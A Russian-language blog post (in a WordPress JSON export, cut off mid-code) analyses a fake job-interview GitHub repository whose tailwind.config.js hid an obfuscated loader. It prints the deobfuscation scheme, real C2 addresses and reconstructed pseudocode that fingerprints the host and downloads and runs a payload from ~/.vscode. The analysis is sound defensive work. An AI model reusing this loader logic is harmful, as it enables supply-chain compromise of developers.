{"id":479201,"date":"2026-05-10T09:15:38","date_gmt":"2026-05-10T09:15:38","guid":{"rendered":"https:\/\/savepearlharbor.com\/?p=479201"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=479201","title":{"rendered":"\u0411\u044d\u043a\u0434\u043e\u0440 \u0432\u043c\u0435\u0441\u0442\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e"},"content":{"rendered":"<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h4>TL;DR:<\/h4>\n<p>\u0412 GitHub-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u043d\u044b\u0439 \u0432 <code>tailwind.config.js<\/code>. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 Tailwind-\u043a\u043e\u043d\u0444\u0438\u0433, \u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u0431\u044b\u043b\u0430 \u0434\u043b\u0438\u043d\u043d\u0430\u044f \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f JS-\u0441\u0442\u0440\u043e\u043a\u0430. \u041f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0430 \u043a\u043e\u0434 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u043b <code>fs<\/code>, <code>os<\/code>, <code>request<\/code>, <code>path<\/code>, <code>node:process<\/code> \u0438 <code>child_process<\/code>, \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u043b\u0441\u044f \u0441 C2 \u043d\u0430 78.142.218.26:1244 \u0438\u043b\u0438 66.235.168.17:1244, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u043b \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442 \u043c\u0430\u0448\u0438\u043d\u044b, \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043b \u0432\u0442\u043e\u0440\u043e\u0439 payload \u0432 <code>~\/.vscode\/f.js<\/code>, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b <code>~\/.vscode\/package.json<\/code>, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b npm install \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b payload \u0432 \u0444\u043e\u043d\u0435 \u0447\u0435\u0440\u0435\u0437 node\/nohup. \u0418\u043d\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438, \u044d\u0442\u043e \u0431\u044b\u043b \u043d\u0435 \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442, \u0430 loader\/downloader, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 frontend-\u0437\u0430\u0434\u0430\u043d\u0438\u0435.<\/p>\n<h2>\u0421\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c<\/h2>\n<p>\u0412 LinkedIn \u043c\u043d\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u043d\u0435\u043a\u0442\u043e, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0432\u0448\u0438\u0439\u0441\u044f \u043a\u0430\u043a <a href=\"https:\/\/www.linkedin.com\/in\/ACoAAGWwIyMBW0sSP1D1HeQj2HV_0AD_BPjEI08\" rel=\"noopener noreferrer nofollow\"><strong>Renz Andrey Barrion<\/strong><\/a><strong>,<\/strong> \u0441 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0440\u0430\u0431\u043e\u0442\u044b. \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u0443\u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0430. \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u0441\u043c\u0443\u0442\u0438\u043b\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u044c: \u00abProject Manager at Bext360\u00bb (\u043d\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e, \u0447\u0442\u043e Bext360 \u043f\u0440\u0438\u0447\u0430\u0441\u0442\u043d\u0430 \u043a \u043d\u0438\u0436\u0435\u0438\u0437\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c\u0443). \u041f\u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c, \u0447\u0442\u043e \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u043e\u0434\u0436\u0435\u043a\u0442, \u0430 \u043d\u0435 HR. \u041d\u043e \u0434\u0430 \u043b\u0430\u0434\u043d\u043e, \u043c\u0430\u043b\u043e \u043b\u0438 \u043a\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b \u043d\u0430\u0439\u043c\u0430 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c.<\/p>\n<p>Renz \u0441\u043e\u043e\u0431\u0449\u0438\u043b, \u0447\u0442\u043e \u0432 \u0435\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f Senior Front End Developer \u043d\u0430 \u043d\u0435\u043f\u043b\u043e\u0445\u0438\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445. \u042f \u0441\u043a\u0438\u043d\u0443\u043b \u0440\u0435\u0437\u044e\u043c\u0435, \u043e\u043d \u0440\u0430\u0441\u0441\u043f\u0440\u043e\u0441\u0438\u043b \u043e\u0431 \u043e\u043f\u044b\u0442\u0435, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0430\u0439\u043c\u0430 \u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b \u043f\u0440\u043e\u0439\u0442\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0435, \u0441 \u0447\u0435\u043c \u044f \u0441\u043e\u0433\u043b\u0430\u0441\u0438\u043b\u0441\u044f \u2013 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0440\u0435\u043d\u0435\u0441\u0441\u0430\u043d\u0441 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0445. \u0420\u0435\u043d\u0446 \u0441\u043a\u0438\u043d\u0443\u043b \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 <a href=\"https:\/\/github.com\/Stash-Home\/Home-assignment-u\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/Stash-Home\/Home-assignment-u<\/a> (\u0442\u043e\u0436\u0435 \u0443\u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0430).<\/p>\n<p>\u041f\u0440\u0438 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0438 \u044f \u043e\u0431\u0440\u0430\u0442\u0438\u043b \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0440\u0430\u0437\u043c\u0435\u0440 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u2013 \u0431\u043e\u043b\u044c\u0448\u0435 5 \u043c\u0435\u0433\u0430\u0431\u0430\u0439\u0442, \u0447\u0442\u043e \u043a\u0430\u043a \u0431\u044b \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0434\u043b\u044f \u0440\u0435\u043f\u044b \u0441 \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0435\u043c (\u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u043d\u043e \u0432\u0441\u0435 \u0440\u0430\u0432\u043d\u043e). \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0434\u0438\u0432\u0438\u043b\u043e \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043e\u0440\u043a\u043e\u0432: \u043e\u0431\u044b\u0447\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u0444\u043e\u0440\u043a\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u0430\u043c\u0438. \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0444\u043e\u0440\u043a\u043e\u0432 \u043d\u0435\u0442\u0438\u043f\u0438\u0447\u043d\u043e \u0434\u043b\u044f \u0442\u0430\u043a\u0438\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432.<\/p>\n<p>\u041d\u0430\u0447\u0430\u043b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0432\u043e\u0442 \u0447\u0442\u043e.<\/p>\n<p>\u041d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0440\u043e\u0447\u043a\u0435 <code>tailwind.config.js<\/code> \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u0432 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430:<\/p>\n<pre><code>const a0ag=a0a1,a0ah=a0a1,...<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:87px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0436\u0435 \u044d\u0442\u043e \u0442\u0430\u043a\u043e\u0435?<\/p>\n<h2>\u041a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f<\/h2>\n<p>\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0431\u044b\u043b \u043c\u0430\u0441\u0441\u0438\u0432 base64-\u0441\u0442\u0440\u043e\u043a:<\/p>\n<pre><code>function a0a0() {  const bm = ['AM9PBG','ywnisNy','wgDkCKO', ...]  ...}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u0430\u0441\u0441\u0438\u0432 \u0446\u0438\u043a\u043b\u0438\u0447\u0435\u0441\u043a\u0438 \u0441\u0434\u0432\u0438\u0433\u0430\u043b\u0441\u044f \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 <code>parseInt(...)<\/code> \u043d\u0435 \u0434\u0430\u0441\u0442 \u043d\u0443\u0436\u043d\u043e\u0435 \u0447\u0438\u0441\u043b\u043e:<\/p>\n<pre><code>(function(a0,a1){  const a2 = a0();  while (!![]) {    try {      const a3 = ...;      if (a3 === a1) break;      else a2.push(a2.shift());    } catch {      a2.push(a2.shift());    }  }}(a0a0, 0x7e0c4));<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0426\u0435\u043b\u044c \u044d\u0442\u043e\u0433\u043e \u2013 \u0437\u0430\u043f\u0443\u0442\u0430\u0442\u044c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0438\u043d\u0434\u0435\u043a\u0441\u043e\u0432 \u0438 \u0441\u0442\u0440\u043e\u043a.<\/p>\n<p>\u0417\u0430\u0442\u0435\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>a0a1(...) <\/code>\u0434\u043e\u0441\u0442\u0430\u0451\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438\u0437 \u043c\u0430\u0441\u0441\u0438\u0432\u0430 \u0438 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u0435\u0451, \u0447\u0442\u043e \u0443\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code>function decodeFromStringTable(index) {  const shiftedIndex = index - 0x113;  const encoded = stringTable[shiftedIndex];    return base64DecodeURIComponent(encoded);}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code>a0a1(0x137) =&gt; \"utf8\"a0a1(0x182) =&gt; \"base6\"a0a1(0x171) =&gt; \"from\"a0a1(0x125) =&gt; \"toStr\"a0a1(0x126) =&gt; \"ing\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0418 \u043f\u043e\u0442\u043e\u043c \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u044d\u0442\u043e:<\/p>\n<pre><code>Buffer.from(..., 'base64').toString('utf8')<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0415\u0449\u0451 \u043e\u0434\u0438\u043d \u0434\u0435\u043a\u043e\u0434\u0435\u0440 \u043e\u0442\u0440\u0435\u0437\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b, \u0430 \u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442 \u043a\u0430\u043a base64:<\/p>\n<pre><code>function n(value) {  const withoutFirstChar = value.slice(1);  return Buffer.from(withoutFirstChar, 'base64').toString('utf8');}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440:<\/p>\n<pre><code>n('ab3M') =&gt; 'os'n('bZnM') =&gt; 'fs'n('DcmVxdWVzdA') =&gt; 'request'n('NcGF0aA') =&gt; 'path'n('Xbm9kZTpwc...') =&gt; 'node:process'n('4Y2hpbGRf') + n('acHJvY2Vzcw') =&gt; 'child_process'<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u043d\u044b \u043a\u0430\u043a \u043c\u0430\u0441\u0441\u0438\u0432\u044b \u0447\u0438\u0441\u0435\u043b \u0438 \u043a \u043d\u0438\u043c \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f XOR \u0441 \u043a\u043b\u044e\u0447\u043e\u043c:<\/p>\n<pre><code>const S = [0x70, 0xa0, 0x89, 0x48];function U(arr) {  let result = '';  for (let i = 0; i &lt; arr.length; i++) {    result += String.fromCharCode((arr[i] ^ S[i &amp; 3]) &amp; 0xff);  }  return result;}<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438:<\/p>\n<pre><code>U([0x5e,0xd6,0xfa,0x2b,0x1f,0xc4,0xec]) =&gt; \".vscode\"U([0x16,0x8e,0xe3,0x3b])                 =&gt; \"f.js\"U([0x0,0xc1,0xea,0x23,0x11,0xc7,0xec,0x66,0x1a,0xd3,0xe6,0x26])  =&gt; \"package.json\"U([0x5f,0xc6,0xa6]) =&gt; \"\/f\/\"U([0x5f,0xd0])      =&gt; \"\/p\"U([0x13,0xc4]) =&gt; \"cd\"U([0x56,0x86,0xa9,0x26,0x0,0xcd,0xa9,0x21,0x50,0x8d,0xa4,0x3b,0x19,0xcc,0xec,0x26,0x4])  =&gt; \"&amp;&amp; npm i --silent\"U([0x1e,0xd0,0xe4,0x68,0x5d,0x8d,0xf9,0x3a,0x15,0xc6,0xe0,0x30])  =&gt; \"npm --prefix\"U([0x1e,0xcf,0xed,0x2d,0x2f,0xcd,0xe6,0x2c,0x5,0xcc,0xec,0x3b])  =&gt; \"node_modules\"U([0x1e,0xcf,0xe1,0x3d,0x0]) =&gt; \"nohup\"<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code>const os = require('os');const fs = require('fs');const request = require('request');const path = require('path');const process = require('node:process');const child_process = require('child_process');const homeDir = os.homedir();const hostname = os.hostname();const platform = os.platform();const userInfo = os.userInfo();const primaryC2 = 'http:\/\/78.142.218.26:1244';const fallbackC2 = 'http:\/\/66.235.168.17:1244';const campaignId = '90284f6b7643';<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<h2>\u0423\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u044b\u0439 \u043f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430<\/h2>\n<p>\u042d\u0442\u043e \u0443\u043f\u0440\u043e\u0449\u0451\u043d\u043d\u0430\u044f \u0440\u0435\u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043b\u043e\u0433\u0438\u043a\u0438 (C2 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435 \u044d\u0442\u043e &#171;<strong>C<\/strong>ommand and <strong>C<\/strong>ontrol&#187;, \u0442\u043e \u0435\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f):<\/p>\n<pre><code class=\"javascript\">\/** * Entry point \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. * * \u0418\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 timestamp \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0439 \u044d\u0442\u0430\u043f \u0441\u0432\u044f\u0437\u0438 * \u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. * * \u0412 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 * `tailwind.config.js`, \u0442\u043e \u0435\u0441\u0442\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u044f dev\/build \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430. * * \u041f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435: * 1. \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442 \u0432\u0440\u0435\u043c\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430. * 2. \u041f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c\u0441\u044f \u0441 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c C2-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. * 3. \u041f\u0440\u0438 \u043e\u0448\u0438\u0431\u043a\u0435 \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 fallback-\u043b\u043e\u0433\u0438\u043a\u0430. * * @returns {void} *\/function main() {  timestamp = Date.now().toString();  tryHandshake(0);}\/** * \u041f\u044b\u0442\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 handshake \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c. * * \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 GET-\u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 `\/s\/&lt;campaignId&gt;`. * \u041f\u0435\u0440\u0432\u044b\u0439 \u0432\u044b\u0437\u043e\u0432 \u0438\u0434\u0451\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440. \u0415\u0441\u043b\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, * \u043a\u043e\u0434 \u043f\u0440\u043e\u0431\u0443\u0435\u0442 fallback. * * \u042d\u0442\u043e\u0442 \u044d\u0442\u0430\u043f \u043d\u0443\u0436\u0435\u043d \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0443, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 * \u0438 \u0442\u0438\u043f payload, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0443\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c. * * @param {number} index * \u0418\u043d\u0434\u0435\u043a\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435. * `0` \u2014 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0441\u0435\u0440\u0432\u0435\u0440. * `1` \u2014 fallback-\u0441\u0435\u0440\u0432\u0435\u0440. * * @returns {void} *\/function tryHandshake(index) {  const url = `${C2[index]}\/s\/${campaignId}`;  request.get(url, (error, response, body) =&gt; {    if (error) {      if (index &lt; 1) {        tryHandshake(1);      }      return;    }    if (!parseServerResponse(body)) {      return;    }    reportHost();    downloadAndRunPayload();  });}\/** * \u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 C2-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u0441\u043b\u0435 handshake-\u0437\u0430\u043f\u0440\u043e\u0441\u0430. * * \u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043e\u0436\u0438\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 \u043c\u0430\u0440\u043a\u0435\u0440\u0430 `ZT3`. * \u0412\u0441\u0451, \u0447\u0442\u043e \u0438\u0434\u0451\u0442 \u043f\u043e\u0441\u043b\u0435 `ZT3`, \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0437 base64. * * \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441 \u043e\u0436\u0438\u0434\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u043a\u0443 \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430: * * `&lt;host&gt;,&lt;type&gt;` * * \u0413\u0434\u0435: * - `host` \u2014 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 C2-host, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0434\u0430\u043b\u044c\u0448\u0435 \u0431\u0443\u0434\u0443\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c\u0441\u044f payload \u0438 package.json. * - `type` \u2014 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0438\u043b\u0438 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 payload. * * \u0415\u0441\u043b\u0438 \u0444\u043e\u0440\u043c\u0430\u0442 \u043e\u0442\u0432\u0435\u0442\u0430 \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442, \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 `false`, * \u0438 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f. * * @param {string} body * \u0422\u0435\u043b\u043e HTTP-\u043e\u0442\u0432\u0435\u0442\u0430. * * @returns {boolean} * `true`, \u0435\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 